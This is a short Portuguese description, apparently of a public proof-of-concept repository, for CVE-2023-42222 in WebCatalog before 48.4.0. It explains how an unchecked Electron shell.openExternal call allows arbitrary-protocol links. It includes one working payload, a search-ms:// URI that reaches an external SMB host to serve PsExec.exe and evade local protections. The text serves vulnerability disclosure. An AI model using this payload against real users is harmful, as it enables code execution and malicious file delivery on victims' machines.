itssixtyn3in/cve-2023-42222Exploit de prova de conceito para CVE-2023-42222 no WebCatalog, demonstrando execução arbitrária de URL via shell.openExternal do Electron para contornar proteções de segurança e executar código.
O WebCatalog anterior à versão 48.4.0 chama a função Electron shell.openExternal sem verificar se a URL é para um recurso http ou https, em algumas circunstâncias. Essa vulnerabilidade permite que um atacante execute código na máquina da vítima ao enviar mensagens contendo links com protocolos arbitrários. A vítima precisa interagir com o link e vê a URL que é aberta.
A vulnerabilidade pode ser confirmada sincronizando uma página que permite URLs arbitrárias. Se um site for sincronizado que contenha search-ms://query=PsExec.exe&crumb=location://live.sysinternals.com/tools, então uma conexão SMB externa é criada. Isso pode ser usado para contornar as proteções de segurança na máquina local e apresentar arquivos maliciosos ao usuário, que normalmente seriam bloqueados.
